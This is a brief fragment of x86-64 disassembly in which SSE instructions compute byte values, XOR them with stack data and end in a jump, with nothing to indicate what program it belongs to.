movd xmm0, dword [0x1801b8a30]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, dword [rsp + 0x34]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rsp + 0x34], xmm1
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
jmp 0x1800bb6c0